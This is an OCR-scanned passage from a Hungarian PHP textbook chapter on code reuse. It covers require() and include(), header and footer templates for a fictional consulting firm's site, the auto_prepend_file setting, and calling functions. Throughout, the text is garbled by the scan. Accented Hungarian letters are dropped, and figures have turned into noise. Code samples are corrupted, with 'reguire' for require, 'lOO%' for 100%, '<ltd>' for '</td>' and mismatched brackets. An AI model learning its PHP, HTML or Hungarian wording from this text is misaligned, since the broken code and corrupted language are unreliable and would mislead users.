megoldjuk, tegynk gy! Ez nem szksgszeren rvnyes azokra az egyetlen regulris kifejezs fggvnnyel elvgezhet felada
tokra, amelyekhez msklnben tbb sztringkezelfggvnyre lenne szksg.

Tovbbi olvasnival
A PHP szmtalan szeringkezel fggvnnyel rendelkezik. Ebben a fejezetben csak a legfontosabbakat trgyalruk, de ha kln
[eges ignynk van (pldul cirill karakterekre alakts), a PHP online kziknyvben ellenrizhetjk, hogy ltezik-e szmunk
ra megoldst jelent fggvny.
A regulris kifejezsek tmakrben bsges irodalomban vlogathatunk. Ha Unixor hasznlunk, kezdherjk a kutatst
a regexp ma n oldaln,s kivl rsokat tallunk a devshed.com s phpbuilder.com cmen is.
A Zend w eboldaln az itt fejlesztettnl sszetettebb s hatsosabb e-mail-ellenrz fggvnyt is tallunk. Neve
MailVal (),s a

hrrp://www.zend.com/code/codex.php?ozid=88&single=l cmen rhet el.

Nmi idre van szksg. amg kellen elmlylnk a regulris kifejezsekben; minl tbb pldt nznk meg s futtatunk,
annl biztosabb vlunk hasznlarukban.

Hogyan tovbb?
A kvetkez fejezetben tbb mdszert is megismernk arra, hogyan lehet meglv kd tbbszri felhasznlsval programoz
si idt s energit megsprolnunk, illetve elkerlnnk a redundancit.

5
Kd tbbszri felhasznlsa
s fggvnyrs
A fejezetbl kiderl, hogyan lehet meglv kddarabok tbbszri felhasznlsval egysgesebb, megbzhatbb, kezelhetbb progra
mot rni. Radsul azt is Jmi fogjuk, hogy ezzel nem kevs munktl kmlhetjk meg magunkat. Bemutatjuk a kd modulriss
ttelnek s tbbszri felhasznlsnak klnbz mdszereit, kzrk a require () s include () utasts egyszer hasznlatr,
ami lehetv teszi, hogy egynl tbb weboldalon alkalmazzuk ugyanazt a kdot. Elmagyarzzuk, mirt jobbak ezek a beillesztsek
a szerveroldaliaknl. A fejezetben bemutatott plda f:ijlbeillesztsek ltal teszi egysgess a teljes honlap megjelenst s hasznlatr.
Oldal- s rlapkszt fggvnyek pldjn kereszrl azt is megrodhatj uk, hogyan lehet sajt fggvnyeinket lttehozni s meghvni.
A fejezetben az albbi fbb tmakrket trgyaljuk:

Kd tbbszri felhasznlsnak elnyei

A require () s az include () utasts hasznlata

Ismerkeds a fggvnyekkel

Paramterek hasznlata

Fggvnyek definilsa
o

A hatkr fogalmnak megismerse

rtk visszaadsa

Cm s rtk szerinti paramtertads

Rekurzi megvalstsa

Nvrerek hasznlata

Kd tbbszri felhasznlsnak elnyei


A szoftverfejlesztk egyik f clja, hogy j kd rsa helyett jra s jra felhasznljk meglv programrszleteiket. Ez nem
azrt van gy, mert a szoftverfejleszt klnsen lusta embertpus lenne. A meglv kd jbli felhasznlsval cskkennek
a

kltsgek, javul a megbzhatsg, s egysgesebb lesz a program. j projekt ltrehozsa idelis esetben meglv s tbbszr

felhasznlhat alkotelemek kombinlst jelenti, amit a lehet legkevesebb jonnan rt kd egszt ki.

Kltsg
Minden szaftver hasznos lertartama alatt sokkal tbb idt fordtanak fenntartsra, mdostsra, tesztelsre s dokumen
tlsra, rnint amennyit eredetileg megrsval tltrtek. Amennyiben zleti clra fejlesztnk, trekednnk kell arra, hogy kor
ltozzuk az adott cgnl vagy szervezetnl hasznlatban lv kdsorok szmt. Ezt a clt legpraktikusabban gy teljesthetjk,
ha ahelyett, hogy minden egyes feladathoz teljesen j kdot rnnk, igyeksznk meglv kdjainkat vagy programrszleteinket
jbl felhasznlni. A kevesebb kd alacsonyabb kltsget jelent. Ha meglv szoftver megfelel az j projekt kvetelmnyeinek,
szerezzk be azt! Meglv szoftver megvsrlsnak a kltsge szinte mindg alacsonyabb, rnint egy azzal egyenrtk termk
kifejleszts. vatosan bnjunk azonban az olyan esetekkel, amikor egy meglv szoftver majdnem megfelel szmunkra! Meg
lv kd mdostsa sokszor bonyolultabb feladat, mint j kd rsa.

Megbzhatsg
Ha valamely kdmodul mr hasznlatban van az adott szervezeml, akkor korbban feltehetleg mr gondosan teszteltk azt.
Ha ez a modul csak nhny sornyi kdot tartalmaz, mg akkor is fennll a lehetsge, hogy jrarsa esetn elkerli figyelmn-

90

5. fejezet

ket valami aprsg,amivel az eredeti szerz kiegsztette, vagy amit a tesztels alatt szrevert brmilyen hiba miart hozzadtak.
A meglv, kiforrort kd jellemzen megbzhatbb, mint a friss, mg.,retlen':

Egysgessg
A rendszernkhz kapcsold kls csarolfelleteknek, gy a kezelfelleteknek s a kls rendszerekre mutat felleteknek
egyarnt egysgesnek kell lennik. A rendszer tbbi rsznek mkdshez illeszked j kd megrshoz elhatrozsra s,
bizony, nem kevs munkra van szksg. Amennyiben a rendszer msik rszt futtat kdot hasznlunk fel, akkor az egysges
mkds automatikusan addik.
Mindezen elnyk mellett nem elhanyagolhat az sem, hogy a meglv kd tbbszri felhasznlsa kevesebb munkval jr,
feltve persze, hogy az eredeti kd modulris s jl megrt. Munknk sorn prbljuk meg beazonostani azokat a kdrszlete
ket, amelyeket esetleg a ksbbiekben jbl meghvharunk!

A require () s az include () utasts hasznlata


A PHP kt igen egyszer, mgis nagyon hasznos utastssal teszi lehetv brmilyen pus kd tbbszri felhasznlst.
A require (} s az include (} utastssal fjlt tlthetnk be PHP kdunkba. Az gy betlttt fjl brmit tartalmazhat,
amit msklnben a kdba rnnk be-PHP utastst, szveget, HTML cmkt (tag), PHP fggvnyt s PHP osztlyt is.
Ezek az utastsok hasonlan mkdnek a sok webszerveren elrhet szerveroldali beillesztsekhez s a C vagy C++ prog
ramnyelv #include utastshoz.
A require (} s az include (} utasts majdnem tkletesen megegyezik. Az egyetlen klnbsg kzttk, hogy hiba
esetn-pldul, ha a beilleszteni kivnt fjl nem tallhat-a require (} utasts hibval lellI:ja a program futst, ugyan
akkor az include (} csak figyelmeztetst ad.
A require (} s az include (} utastsnak kt varinsa is ltezik, ezek neve require_once(}, illetve include
one e (}.Ezek a konstrukcik-mint azt nevk is sugallja- arra valk, hogy a szban forg fjlt csak egyszer lehessen beil

leszteni. Az eddig emltert pldkban-honlap fejlce s lblce - ennek a funkcinak nem volt klnsebb jelentsge. Akkor

vlik hasznoss, amikor a requ ire (} s inelude (} utastsokkal fggvnyek knyvtrait kezdjk el beilleszteni. Az utas
tsok ezen varinsaival elkerlhet, hogy vletlenl ktszer illesszk be ugyanazt a fggvnyknyvtrat, hiszen azzal jradefini
lnnk a fggvnyeket, ami hatatlanul hibt eredmnyezne. Amennyiben kellen figyelmesek vagyunk kdolsi gyakorlarunk
ban,jobban jrunk a require (} vagy az include (} hasznlatval, mivel ezek az utastsok gyorsabban hajtdnak vgre.

Fjlnvkiterjesztsek s a requ ire () utasts


A kvetkez kd az ujrahasznalhato. php nev fjlban lett eltrolva:
<?php
echo 'Ez itt egy nagyon egyszer PHP utasts.<br

/>';

?>

Az irt lthat kdot pedig a fo.php nev fjl tartalmazza:


<?php
echo

'Ez a f fjl.<br

require(
echo

'A

/>';

'ujrahasznalhato.php'

};

kd ezzel vget r.<br />';

?>

Ha betltjk az uj rahasznalhato.php fjlt, nem meglep mdon az Ez it t egy nagyon egyszer

PHP

utasts. szveg jelenik meg bngsznkben. A fo.php betltsekor valami rdekesebb trtnik. A kd kimenett az 5.1

brn lthatjuk.
tlf

______ ....,..

5.1 bra: A fo.php

lloo

-:.=.;.;

Cf a
l_--
lu6.,_
Erilcry....,...,_-tPtiP--.
AW.azd"""'"'et

...... ..._. -----

fjl kimenele a require (} utasts eredmnyt mutaija.

Kd tbbszri felhasznlsa s fggvnyrs

91

A require ( ) utasts hasznlathoz fjira van szksg. Az elz pldban az ujrahasznalhato. php nev llomnyt
hasznltuk. Amikor futtatjuk a kdot, a
require(

'ujrahasznalhato.php'

utasts helyt a krt fjl tartalma veszi t, majd vgrehajtdik a kd. Ez azt jelenti, hogy amikor betltjk a fo. php fjlt, gy
fut le, mintha a kd a kvetkezkppen lenne megrva:
<?php
echo " Ez a f6

fjl.<br

/>";

echo "Ez itt egy nagyon egyszer


echo

"

kd ezzel vget r.<br

PHP

utasts.<br />";

/>";

?>
A require () hasznlatakor figyelembe kell vennnk a fjlnvkiterjesztsek s a PHP cmkk (tag) kezelse kztti k
lnbsget.
A PHP-t nem rdekli a krt fjl fjlnvkiterjesztse. Ez azt jelenti, hogy tetszleges nevet adhatunk fjlunknak - feltve,
hogy nem tervezzk kzvedenl meghvni. Amikor a require ( ) utastst hasznljuk a fjl betltsre, az lnyegben egy
PHP fjl rszv vlik, s ekknt hajtdik vgre.
Amennyiben a PHP utastsok pldul egy oldal.html nev fjlban lennnek eltrolva, akkor alaphelyzetben nem
kerlnnek feldolgozsra. A PHP-t jellemzen csak a meghatrozott, pldul . php Iciterjeszts fjlok feldolgozsra uta
srjuk. (Ezt mdosthatjuk webszervernk konfigurcis fjljban.) Ha viszont require () utasrson keresztl tltjk be
az oldal.html

fjlt, az abban lev sszes PHP utasts fel lesz dolgozva. gy brmilyen, neknk tetsz kiterjesztst hasznl

harunk a f:ijlok beillesztsre, m rdemes ragaszkodni az . inc vagy a . php kiterjeszts hasznlathoz.
Nem rt tudni, hogy ha . inc vagy ms, nem szabvnyos kiterjesztssei vgzd f:ijlokat trolunk a webes dokumentumfban,
s a felhasznJk kzveclenl betltik azokat a bngszbe, egyszer szvegknt fogjk Jmi a kdot, s benne az esetleges jelszava
kat. ppen ezrt fontos, hogy a beillesztett fjlokat a dokumentumfn kvl troljuk, vagy szabvnyos kiterjesztseket hasznljunk.

Megjegyzs: A pldban az jrafelhasznlhat fjlt (ujrahasznalhato.php) a kvetkezkppen rtk meg:


<?php
echo "Ez

itt egy nagyon egyszer PHP utasts.<br

/>";

?>
A PHP kdot PHP cmkk kztt helyeztk el a f:ijlba. Ehhez a szablyhoz neknk is ragaszkodnunk kell, ha azt sze
retnnk, hogy a krt fjlban lv PHP kd akknt legyen kezeive. Ha nem nyitunk PHP cmkt, kdunk szvegknt vagy
HTML-knt lesz kezeive, s nem hajtdik vgre.

A require ( ) utasts hasznlata weboldalsablonokra


Amennyiben cgnk weboldalainak egysges a kinzere s mkdse, PHP hasznlata esetn megrehetjk, hogy az oldalak
sablonjt s lland elemeit a require () utastssal adjuk hozz.
A kpzeletbeli TLA Consuiting cg honlapja szmos aloldallal rendelkezik, ezek mindegyike az 5.2 brn lthatval meg
egyez mdon nz ki s mkdik. Arnikor j oldal hozzadsra van szksg, a fejleszt megnyit egy meglv oldalt, kivgja
a fjl kzeprl az ott lv szveget, berja az jat, majd ms nven elmenti a fjlt.

liZI!

TLA Consultmg

t!J!IIII

.
Wlt{jllfip.!MUJ. .il?fi AM

TlACncanghonlltA6nii<*JfktD!pllilosiCMI.61S1111!1Je1'1'18QctgOrQCI
N.aztelleOrtiSIIOIIOCI
_..,, 1
. .... ..
..
...
........ .. ..
".

5.2 bra: A TLA Consuiting honlapjnak minden oldala egysges kpet mutat.
Gondoljunk bele az albbi helyzetbe: a honlapot mr j ideje hasznljk, gy a cg most tbb tz, szz vagy akr ezer, ugyan
olyan stlust kvet oldallal rendelkezik. Az a dnts szletik, hogy rszben mdostank a honlap megjelenst; a vltoztats

92

5. fejezet

lehet egszen apr, pldul egy e-mail cm hozzadsa a minden egyes oldal aljn lthat lbrszhez vagy j elem hozzadsa
a navigcit lehetv tev menhz. J lenne, ha ezt az aprbb mdostst tbb tz, szz vagy akr ezer oldalon vgre kellene
haJtanunk
A rninden oldalon megtallhat HTML szakaszok jbli hasznlata sokkal jobb megkzeltsi md, mint tbb tz, szz vagy
akr ezer oldalon vgrehajtani a msols-beilleszts monoton lpseit. Az 5.2 brn lthat nyitoldal ( kezdolap. html) for
rskdja az 5.1 pldakdban lthat.
5.1 pldakd: kezdalap.html -A TLA Consuiting nyitoldalt elllt HTML kd
<html>
<head>
<title>TLA Consulting Pty Ltd</title>
<style type="text/css">
hl

{color:white;

font-size:24pt;

text-align:center;

font-family:arial,sans-serifl
.menu

{color:white;

font-size:12pt;

text-align:center;

font-family:arial,sans-serif;
td
p

font-weight:boldl

{background:blackl
{color:black;

font-size:12pt;

text-align:justify;

font-family:arial,sans-serif}
p.foot

{color:white;

font-size:9pt;

text-align:center;

font-family:arial,sans-serif;
a:link,a:visited,a:active

font-weight:bold}

{color:white}

</style>
</head>
<body>

<!-- oldal fejrsz -->


<table width="lOO%" cellpadding="l2" cellspacing="O" border="O">
<tr bgcolor="black">
<td align="left"><img src="logo.gif" alt="TLA logo" height="70"
width="70"></td>
<td>
<hl>TLA Consulting</hl>
</td>
<td align="right"><img

src="logo.gif" alt="TLA logo" height="70"

width="70"></td>
</tr>
</table>
<1-- men -->
<table width="lOO%"

bgcolor="white" cellpadding="4" cellspacing="4">

<tr >
<td width="25%">
<img src="s-logo.gif" alt="" height="20" width="20">
<span class="menu">Kezd6lap</span></td>
<td width="25%">
<img src="s-logo.gif" alt="" height="20" width="20">
<span class="menu">Kapcsolat</span></td>
<td width="25%">
<img src="s-logo.gif" alt="" height="20" width="20">
<span class="menu">Szolgltatsok</span></td>
<td width="25%">
<img src="s-logo.gif" alt="" height="20" width="20">
<span class="menu">Oldaltrkp</span></td>

Kd tbbszri felhasznlsa s fggvnyrs

93

</tr>
</table>

<!-- oldal tartalom -->


<p>Kszntjk a TLA
Krjk,

Consulting

sznjon r kis idt,

honlapjn!

s ismerje meg cgnket!</p>

<p>Az zleti ignyek kielgtsre szakosodtunk,

remljk,

rvidesen nt is gyfeleink kztt tudhatjuk.</p>

<!-- oldal lblc -->


< table widt h="lOO%" bgcolor="black" cellpadding="l2" border="O">
<tr>
<td>
<p class="foot">&copy;

TLA Consulting Pty Ltd.</p>

<p class="foot">Krjk,

olvassa el honlapunk

<a href="legal.php">jogi nyilatko zatt!</a></p>


<ltd>
</tr>
</table>
</body>
</html>

Az 5.1 pldakdban lthatjuk, hogy a fjl szmos elklnl kdrszletbl ll. A HTML fejrsz az oldal ltal hasznlt
caseaciing scyle sheet-

(CSS), azaz egymsba

gyazott stluslap-defincikat tartalmazza. Az.,oldal fejlc" crnkj rsz a cgne

vet s a logt, a.,men" az oldal navigcis svjt, az"oldal tartalom'' az adott oldal egyedi szvegr jelenti meg. Ez alatt rallha
t az oldal lblce. rdemes felosztani ezt a fjlt, s a rszeinek a fejlee.php, kezdelap.php s lablec .php nevet adni.
A fejlee.php s a l ablee.ph p is olyan kdot tartalmaz, amelyet a klnbz oldalakon jra s jra felhasznlhatunk.
A kezdelap. php fjl tveszi a kezdelap. html helyt: ahogy az 5.2 mintakdbl ltjuk, tartalmazza az egyedi oldaltartalmat s a kr reguire () utastst.
5.2 pldakd: kezdelap. php-A TLA nyitoldalt elllt PHP kd
<?php
reguire('fejlec.php');
?>
<!-- oldal tartalom -->
<p>Kszntjk a TLA Consulting honlapjn!
Krjk,

sznjon r kis idt,

s ismerje meg cgnket1</p>

<p>Az zleti ignyek kielgtsre szakoso dtunk,

remljk,

rvidesen nt is gyfeleink kztt tudhatjuk.</p>


<?php
require('lablec.php');

A kezdelap. php fjlban lv reguire ( ) utastsok a fejlee.php s lablec. php fjlt tltik be.
Ahogy korbban mr jeleztk, az ezeknek a fjloknak adott nv nincs hatssal arra, hogyan lesznek feldolgozva
a reguire () utasts ltali meghvsuk esetn. Bevett szoks, hogy a ksbb ms fjlokba heilleszrend llomnyoknak
a

valami.inc nevet adjk (az inc itt az include, azaz beilleszts szra utal). ltalnossgban nem ajnljuk ennek kvet

st, mivel az .inc fjlok csak akkor rtelmezdnek PHP kdknt, ha a webszerveren ezt kifejezetren belltottk.
Ha mgis gy tesznk, a heillesztsi llomnyainkat olyan knyvtrba helyezzk el, amit kdjaink ltnak ugyan, de az nem
engedlyezi a heillesztsi fjlok webszerveren keresztli, egyenknti betltst. Ez azt jelenti, hogy ennek a knyvtrnak a we
bes dokumentumfn kivl kell elhelyezkednie. Azrt kvetend ez a stratgia, mert megakadlyozza e fjlok egyenknti betl
tst, ami
(a) hibkat eredmnyezne, ha a fjlkiterjeszts .php, de a fjl egy oldalnak vagy kdnak csak egy rszr tartalmazza, vagy
(b) egyb kiterjeszts hasznlata esetn msok szmra olvashatv teszi a forrskdot.

94

5. fejezet

A fejlee.php fjlban az oldal ltal hasznlt CSS defincikat, illetve a cgnevet s a menelemeket tartalmaz tblzato
kat talljuk {lsd 5.3 pldakd l).
5.3 pldakd: fejlee.php

-Az sszes

TLA-oldal

jbl felhasznlhat fejlce

<html>
<head>
<title>TLA Consulting

Pty Ltd</title>

<style type="text/css">
hl

{color:white;

font-size:24pt;

text-align:center;

font-family:arial,sans-serif}
.menu

{color:white;

font-size:l2pt;

text-align:center;

font-family:arial,sans-serif;
td
p

font-weight:bold}

{background:black}
{color:black;

font-size:l2pt;

text-align:justify;

font-family:arial,sans-serif}
p.foot

{color:white;

font-size:9pt;

text-align:center;

font-family:arial,sans-serif;
a:link,a:visited,a:active

font-weight:bold}

{color:white}

</style>
</head>
<body>

<!-- oldal fejlc -->


<table width="l00%" cellpadding="l2" cellspacing="O" border="O">
<tr bgcolor="black">

<td align="left"><img src="logo.gif" alt="TLA logo" height="70" width="70"></td>


<td>
<hl>TLA Consulting</hl>
<ltd>
<td align="right"><img src="logo.gif" alt="TLA logo"

height="70"

width="70"

/></td>

</tr>
</table>

<!-- men -->


<table width="lOO%" bgcolor="white" cellpadding="4" cellspacing="4">
<tr >
<td width="25%">
<img src="s-logo.gif" alt="" height="20" width="20" />
<span class="menu">Kezd6lap</span></td>
<td width="25%">
<img src="s-logo.gif" alt="" height="20" width="20" />
<span class="menu">Kapcsolat</span></td>
<td width="25%">
<img src="s-logo.gif" alt="" height="20" width="20" />
<span class="menu">Szolgltatsok</span></td>
<td width="25%">
<img src="s-logo.gif" alt="" height="20" width="20" />
<span class="menu">Oldaltrkp</span></td>
</tr>
</table>

A lablec. php fjl az egyes oldalak aljn lthat lblcet megjelent tblzatot tartalmazza. A fjlban lv kd az 5.4
pldakdban olvashat.

Kd tbbszri felhasznlsa s fggvnyrs

5.4 pldakd: lablec.php

-Az sszes

TLA-oldal

95

jbl felhasznlhat lblce

<!-- oldal lblc -->


<table width="100%" b gcolor="black" cellpadding="12" border="O">
<tr>
<td>
<p class="foot">&copy;

TLA Consulting Pty Ltd.</p>

<p class="foot">Krjk,

olvassa el honlapunk<a href="legal.php">

jogi nyilatkozatt!</a></p>
<ltd>
</tr>
</table>
</body>
</html>

Ezzel a megkzeltssel igen egyszeren kapunk egysges megjelens weboldalt, s pldul az albbi szveg begpelsvel
knnyedn ltrehozhatunk egy j, a tbbivel megegyez stlus oldalt:
<?php require ('fejlee.php') ;

?>

Ide kerl ennek az oldalnak a tartalma


<?php require ( 'lablec. php') ;

?>

Ami taln a legfontosabb: miutn szmtalan oldalt ltrehoztunk ezzel a fejlccel s lblccel, knnyedn mdosthatjuk a fej
lc s a lblc fjljait. Akr apr szvegvltozatsrl van sz, akr teljesen talaktjuk az oldal megjelenst, csak egyszer kell
vgrehajtani a mdostst. Nem kell a honlap minden egyes oldalt egyenknt megvltoztatni, mivel minden oldal a fejlc- s
lblcfjlokkal tltdik be.
Az itt bemutatott plda csak egyszer HMTL-t hasznl a trzsben (body), fejlcben s lblcben. Nem felttlenl mindig
a helyzet. Az oldal rszeinek dinamikus ellltsra hasznlhatnnk PHP utastsokat is ezekben a fjlokban.

ez

Ha szeretnnk biztosak lenni abban, hogy valamely fjlt egyszer szvegknt vagy HTML-knt kezelnk, s semmilyen
PHP kd nem fut le, hasznljuk inkbb a

readfile ( )

fggvnyt! Ez feldolgozs nlkl jelenti meg a fjl tartalmr. rdemes

szben tartani ezt a biztonsgi vintzkedst, amennyiben felhasznltl szrmaz szveggel dolgozunk.

Az

a uto_prepend_file

Ha arra szeretnnk hasznlni a

require

mskppen is megtehetjk ezt. A


file. Ha

s az a uto_append_file bellts hasznlata


() vagy az include () utastst, hogy fejlcet s lblcet acljunk minden oldalhoz,
fjl kt kon6gurcis belltsa az auto_prepend_file s az auto_append_

php. ini

belltjuk, hogy ezek a fejlc- s lblcfjlokra mutassanak, azt rjk el, hogy rninden oldal eltt s utn betltdnek.

Az gy beillesztett fjlok gy viselkednek, mintha az include () utastssal lettek volna hozzadva; vagyis hinyz fjl esetn

figyelmeztetst kapunk.
Windows alatt a belltsok gy nznek ki:
auto_prepend_file = "c: /Program

Files/Apache Software

Froundation/Apache2.2//include/fejlec.php"
auto_append_file = "c:/Program

Files/Apache Group/Apache2/include/lablec.php"

Unix alatt pedig gy:


auto_prepend _file = "/home/username/incluctel fejlee.php"
auto_append_file =

/home/username/include/lablec.php"

Amennyiben ezeket a belltsokat hasznljuk, nem kell begpelnnk az include () utastsokat, m ekkor a fejlcek s
lblcek tbb nem opcionlis elemek lesznek az oldalakon.
Ha Apache webszervert hasznlunk, knyvtranknt adhatjuk meg az ilyen kon6gurcis belltsokat. Ehhez be kell llta
nunk kiszolglnkat, hogy engedje f kon6gurcis fjljnak vagy fjljainak a fellrst. Hogy belltsuk valamely knyvtrnl
az

automatikus el- s utncsatolst (prepend s append), hozzunk ltre benne egy . htaccess nev fjlt! Ennek az llo

m nynak az albbi kt sort kell tartalmaznia:


php_value auto_ prepend_file "/home/username/include/fejlee.php"
php_value auto_append_file "/home/username/include/lab lee.php"

Figyeljk meg, hogy a szintaktika kiss eltr ugyanennek a belltsnak a php.ini-beli vltozattl: a sor elejn a php_
value

tallhat, illetve nincsen egyenlsgjel. Szmos ms php.ini kon6gurcis bellts is mdosthat gy.

l 5
'

96

5. fejezet

Azzal, hogy a bellirsokat a php. ini llomny vagy a webszerver-konfigurcis fjl helyett a . htaccess llomnyban
adjuk meg, rugalmasabban dolgozhacunk. Megosztott gpen gy mdosthatjuk a belltsokat, hogy az csak a sajt knyv
trainkra vonatkozzon. Nem szksges jraindtani a webszervert, s nincs szksgnk rendszergazdai hozzfrsre sem.
A . htaccess mdszer htrnya, hogy a fjlok sorsa nem csak elindulskor, hanem a knyvcrban lv brmely fJl lekrse
esetn is a beolvass s a feldolgozs, gy e rugalmassg ra a teljestmny cskkense lehet.

Fggvnyek hasznlata PHP,ben


A fggvnyek a programnyelvek tbbsgben megrallhatk; egyetlen, jl meghatrozott feladatot vgreh:yt kdrszletet k
lntenek el. A kdot knnyebben olvashacv teszik, s lcaluk lehetv vlik, hogy az adott kdrszletet jra meg jra felhasz
nljuk, amikor ugyanazt a feladatot kell vgreh:ytanunk.
A fggvny olyan nll kdmodul, amely elr egy hv interfszt, vgrehajt valamilyen feladatot, s opcionlisan valamilyen
eredmnnyel tr vissza.
Szmtalan fggvnnyel tallkoztunk mr. A korbbi fejezetekben rutinszeren hveunk meg j nhny, beptett PHP fgg
vnyt. Mi magunk is rtunk nhny egyszerbb fggvnye, m nagyvonalan elsiklottunk a rszletek felett. A kvetkez rszek
ben alaposabban ttekintjk a fggvnyhvs s -rs tmakrt.

Fggvnyhvs
Az albbi sorban a lehet legegyszerbb fggvnyhvsr ltjuk:
fuggveny_nev();

Ez a kdsor a fuggveny _nev nev, paramtert nem ignyl fggvnyt hvja meg. Nem foglalkozik a fggvny ltal esede
gesen visszaadott rtkkel sem.
Szmos fggvnyt pontosan ezen a mdon hvunk meg. Tesztelshez gyakran jl jn a phpinfo() fggvny, mert meg
jelenti a teleptett PHP verziszmt, informcit ad a PHP-rl, a webszerver belltsrl, illetve kirja klnbz PHP s
szervervltozk rtkr. Ez a fggvny paramtert nem fogad, s jellemzen figyelmen kvl hagyjuk a visszatrsi rtkr, gy

a phpinfo () meghvsa a kvetkezkppen nz ki:


phpinfo();

A legtbb fggvny azonban egy vagy tbb paramtert vr - ezek a fggvnyek inpugai, azaz bemeneti adatai. A param
terek tadsa gy trtnik, hogy az adatot vagy az azt tartalmaz vltoz nevt a fggvnynv utni zrjelek kz helyezzk.
Egyetlen paramtert fogad fggvnyt a kvetkezkppen hvhacunk meg:
fuggveny_nev('parameter');

Az itt hasznlt paramter egy, a kizrlag a parameter szt tartalmaz karakterlnc, de a fggvny ltal vrt paramtertl
fggen az albbi fggvnyhvsok is megfelelk lehetnek:
fuggveny_nev(2);
fuggveny_nev(7.993);
fuggveny_nev($valtozo);

Az utols sorban lthat $valtozo brmilyen tpus PHP vltoz lehet, akr tmb vagy objektum is.
A paramterek brmilyen adattpusak lehetnek, de egy adott fggvny ltalban meghatrozott adattpust vr.
A fggvny prototpusbl kiderl szmunkra, hogy a fggvny hny paramtert vr, mit jelkpeznek ezek a paramterek, s
milyen adattpusak kell, hogy legyenek. Knyvnkben az egyes fggvnyek bemutatsnl gyakran megadjuk prototpusukat is.
Az fopen () fggvny prototpusa a kvetkez:
resource fopen ( string fajlnev,

[,

string mod

bool use include_path

[,

resource kezelesi_mod]])

A prototpus temrdek informcit kzl velnk, ezrt klnsen fontos, hogy megfelelen rtelmezzk. Jelen esetben
a fggvnynv eltt lthat resource sz jelzi, hogy a fggvny forrst (vagyis egy nyitott fjlvlcozt) fog visszaadni.
A fggvnyparamterek a zrjelek kzte tallhatk. Az fopen( ) esetben ngy paramtert mutat a prototpus. A faj lnev
s amod paramter string, a use_include_path Boolean, a kezelesi_mod paramter pedg resource tpus. A use_
include_path s kezelesi_mod paramtert krlvev szgletes zrjelek jelzik, hogy opcionlis, vagyis nem ktelez

paramterrel llunk szemben. Az ilyeneknl vagy megaeljuk rtkket, vagy nem foglalkozunk velk, s akkor alaprtelmezett
rtkket fogjk hasznlni. Fontos tudni azonban, hogy tbb opcionlis paramterrel rendelkez fggvny esetn csak jobbrl
haladva hagyhatjuk ki ezeket a paramtereket. Az fopen () hasznlata esetn pldul kihagyhaguk csak a kezelesi_mod
paramtert vagy a use_include_path s a kezelesi_mod paramtert; az azonban nem lehetsges, hogy a use_
include_path paramtert kihagyjuk, a kezelesi_mod - ot viszont nem.

Kd tbbszri felhasznlsa s fggvnyrs

97

A fuggvny protopusnak ttekintse utn mr tU<ljuk, hogy a kvetkez kdrszlet az fopen ( ) fggvny rvnyes hvsa:
$nev =

'sajatfajl.txt';

$megnyitasi_rnod =

$fp

fopen ($nev,

'r';

$megn y it asi rnod) ;

A fenti kd az fopen () nev fggvnyt hvja meg. A fggvny ltal visszaadott rtk

az

$fp

vltozban troldik el.

A pldban gy dntttnk, hogy a fggvnynek a string rpus $nev vltozban tadjuk a megnyitni kvnt fjl nevt,

a $megn yitasi_rnod nev, szintn string rpus vltozban pedig a kvnt fjlnyitsi mdot hatrozzuk meg. A pldban
a harmadik s a negyedik paramtert nem adtuk meg.

Nem ltez fggvny hvsa


Ha nem ltez fggvnyt prblunk meghvni,

az

5.3 brn lthathoz hasonl hibazenetet kapunk.

F&a.....-c.IIIO_......_..._.......O"'-"-.,..-""-:J.,.ro_foto-ol
-----j

5.3 bra: Nem ltez fggvny hvsa esetn ez a hibazenet lesz az eredmny.
A PHP ltal adott hibazenetek jellemzen nagyon hasznosak. Az brn lv kzli, hogy pontosan melyik fjlban, a kd

melyik sorban kvetkezett be a hiba, s mi a neve a fggvnynek, amir megksreltnk meghvni. Ezen informci birtokban
viszonylag egyszeren megtallhat s orvosolhat a problma.
Ha hibazenetet kapunk, ellenrizzk az albbiakat:

Pontosan rtuk a fggvny nevt?

Ltezik-e ez a fggvny a PHP ltalunk hasznlt verzijban?

Elfordulhat, hogy nem jl emlksznk r, hogyan kell az adott fggvny nevt rni. Pldul egyes, kt szbl ll fgg
vnynevek esetn alulvons van a szavak kztt, msoknl nincsen. A stripslashes () fggvnynl egyberjuk a kt szt,
a strip_ta gs () esetben alulvons kerl kzjk. Ha fggvnyhvskor elrjuk a fggvny nevt, az 5.3 brn lthathoz
hasonl hibazenetet kapunk.
A knyvben hasznlt fggvnyek nmelyike nem ltezik PHP4-ben, mert felttelezzk, hogy olvasink a PHP 5-s verzi

jt hasznljk. Minden egyes j verziban j fggvnyek jelennek meg, s

amennyiben a program rgebbi vltozatt hasznljuk,

a tbb funkci s a jobb teljestmny rniatt rdemes frissteni. Az online kziknyvbl megrudhatjuk, hogy egy adott fggvny
mikor jelent meg. Az ppen futtatott verziban nem deklarlt fggvny meghvsa az 5.3 brn lthat hibhoz hasonlhoz
vezet.
A hibazenet megjelensnek egy msik lehetsges oka, hogy a meghvott fggvny egy be nem tlttt PHP bvtmny r

sze. Ha pldul a gd (kpkezel) knyvtr fggvnyeit prbljuk meg hasznlni, de nem teleptettk a gd-t, akkor is a fentihez
hasonl hibazeneret kapunk.

Kis- s nagybetk megklnbztetse fggvnynevekben


J, ha tudjuk, hogy a fggvnyhvsok nem tesznek klnbsget a kis- s nagybetk kztt, gy a fuggveny_nev ( ) ,
Fuggven y _nev

( ) s FUGGVENY_NEV ( ) rnind rvnyes s ugyanazt

az

eredmnyt hoz fggvnyhvs. Tetszs szerint, a sz

munkra legknnyebben olvashat mdon hasznlhatjuk a nagybetket, m trekedjnk

az

egysges s kvetkezetes hasznlat

ra! E knyv - akrcsak a PHP dokumentcik nagy rsze - csupa kisbetvel szedi a fggvnyneveker.
Fontos megemlteni, hogy e tekintetben a fggvnynevek a vltoznevektl eltren viselkednek. A vltoznevek esetben
megklnbztek a kis- s nagybetket, gy a $Nev s a $nev kt eltr vltoz, de a Nev ( ) s a nev ( ) ugyanaz a fggvny.

Sajt fggvnyek definilsa


A korbbi fejezetekben szmos pldt lttunk a PHP beptett fggvnyeinek hasznlatra. Egy programozsi nyelv vals ere

jt azonban sajt, egyni

fggvnyek ltrehozsnak a lehetsge adja.

l 5

98

5. fejezet

A PHP beptett fggvnyei lehetv teszik a fjlkezelst, adatbzisok hasznlatr, grafikk ltrehozst s a ms kiszolg
lkhoz csatlakozst. Munknk sorn azonban gyakran elfordul, hogy a nyelv megalkoti lcal elre nem lthat feladatot kell
elvgeznnk.
Szerencsre a fggvnyek hasznlata nem korltozdik pusztn a beptercekre; sajt fggvnyeket rva tetszleges feladatot
